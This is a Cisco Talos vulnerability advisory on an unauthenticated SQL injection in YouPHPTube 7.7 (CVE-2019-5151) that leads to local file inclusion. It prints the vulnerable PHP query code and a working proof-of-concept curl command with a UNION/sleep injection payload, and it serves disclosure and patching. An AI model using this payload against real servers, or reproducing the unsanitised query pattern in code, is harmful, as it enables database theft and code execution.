Talos Vulnerability Report

TALOS-2019-0941

YouPHPTube /objects/video.php getVideo videoName code execution vulnerability

October 30, 2019
CVE Number

CVE-2019-5151

Summary

An exploitable SQL injection vulnerability exist in YouPHPTube 7.7. A specially crafted unauthenticated HTTP request can cause a SQL injection, possibly leading to denial of service, exfiltration of the database and local file inclusion, which could potentially further lead to code execution. An attacker can send an HTTP request to trigger this vulnerability.

Tested Versions

YouPHPTube 7.7 commit b22e81d25b2a570f4867ea5dce5153ba4c76cc2d (Oct 15th 2019)

Product URLs

https://www.youphptube.com/

CVSSv3 Score

10.0 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:H

CWE

CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Details

YouPHPTube is an open-source web application written in PHP which allows to share, upload, and import videos from external websites.

The getVideo function in /objects/video.php doesn't handle user input safely:

    static function getVideo($id = "", $status = "viewable", $ignoreGroup = false, $random = false, $suggetedOnly = false, $showUnlisted = false, $ignoreTags = false, $activeUsersOnly = true) {
        ...
[1]     $sql = "SELECT u.*, v.*, "
                . " nv.title as next_title,"
                . " nv.clean_title as next_clean_title,"
                . " nv.filename as next_filename,"
                . " nv.id as next_id,"
                . " c.id as category_id,c.iconClass,c.name as category,c.iconClass,  c.clean_name as clean_category,c.description as category_description,c.nextVideoOrder as category_order, v.created as videoCreation, "
                . " (SELECT count(id) FROM likes as l where l.videos_id = v.id AND `like` = 1 ) as likes, "
                . " (SELECT count(id) FROM likes as l where l.videos_id = v.id AND `like` = -1 ) as dislikes ";
        ...
        if (empty($id)) {
            if (empty($random) && !empty($_GET['videoName'])) {
[2]             $sql .= " AND v.clean_title = '{$_GET['videoName']}' ";
            } elseif (!empty($random)) {
                $sql .= " AND v.id != {$random} ";
                $sql .= " ORDER BY RAND() ";
            } else if ($suggetedOnly && empty($_GET['videoName']) && empty($_GET['search']) && empty($_GET['searchPhrase'])) {
                $sql .= " AND v.isSuggested = 1 ";
                $sql .= " ORDER BY RAND() ";
            } else {
                $sql .= " ORDER BY v.Created DESC ";
            }
        }
        ...
        $res = sqlDAL::readSql($sql);
[3]     $video = sqlDAL::fetchAssoc($res);
        sqlDAL::close($res);
        ...

At [1] the SQL query string is initialized, at [2] the $_GET['videoName'] parameter is extracted from the request and is directly inserted in the query string, which is later executed [3].

This function is reachable by an unauthenticated user by requesting the page /index.php.

Note that after the query is executed, the view /view/modeYoutube.php is included in the request, which eventually executes the code block below:

<?php
$vType = $video['type'];
if ($vType == "linkVideo") {
    $vType = "video";
} else if ($vType == "live") {
    $vType = "../../plugin/Live/view/liveVideo";
} else if ($vType == "linkAudio") {
    $vType = "audio";
}
require "{$global['systemRootPath']}view/include/{$vType}.php";
?>

The vType variable is extracted from one of the columns from the SQL query previously described. This means that an attacker can exploit the SQL injection to include any local php file in the system (LFI), possibly executing arbitrary code.

Proof of Concept

The following proof-of-concept demonstrates both the SQL injection and the local file inclusion vulnerabilities:

$ time curl -s "http://localhost:8182/?videoName='%20union%20select%20"$(perl -e 'print "1,"x45 . "1234," . "2,"x33')"sleep(3)--%20x"

<b>Warning</b>:  require(/var/www/html/view/include/1234.php): failed to open stream: No such file or directory in <b>/var/www/html/view/modeYoutube.php</b> on line <b>273</b><br />
<br />
<b>Fatal error</b>:  require(): Failed opening required '/var/www/html/view/include/1234.php' (include_path='.:/usr/local/lib/php') in <b>/var/www/html/view/modeYoutube.php</b> on line <b>273</b><br />

curl -s   0.01s user 0.01s system 0% cpu 6.286 total

The code tried to include the file 1234.php, and the query took six seconds to execute (the same query is executed twice on the server side).

Timeline

2019-10-23 - Vendor disclosure
2019-10-29 - Vendor patched
2019-10-30 - Public release

Credit

Discovered by Claudio Bozzato of Cisco Talos